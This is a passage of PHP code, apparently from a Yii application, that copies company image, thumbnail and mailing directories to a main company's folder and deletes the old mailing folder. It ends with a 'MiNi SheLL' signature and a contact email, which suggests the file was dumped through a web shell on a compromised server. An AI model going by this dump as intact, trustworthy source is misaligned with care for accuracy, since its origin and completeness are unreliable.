                $this->copyDir(
                    $sourcesThumbsPath.$idCompany.'/', 
                    $sourcesThumbsPath.$this->idMainCompany.'/'
                );
            }
            
            if(file_exists(Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/')) {
                $this->copyDir(Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/', Yii::getAlias('@companiesImagesRealPath').'/'.$this->idMainCompany.'/');
            }
            
            if(file_exists(Yii::getAlias('@mailingsUrl').'/'.$idCompany.'/')) {     
                $this->copyDir(
                    Yii::getAlias('@mailingsUrl').'/'.$idCompany.'/', 
                    Yii::getAlias('@mailingsUrl').'/'.$this->idMainCompany.'/'
                );
                
                $this->removeDir(Yii::getAlias('@mailingsUrl').'/'.$idCompany.'/');
            }
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com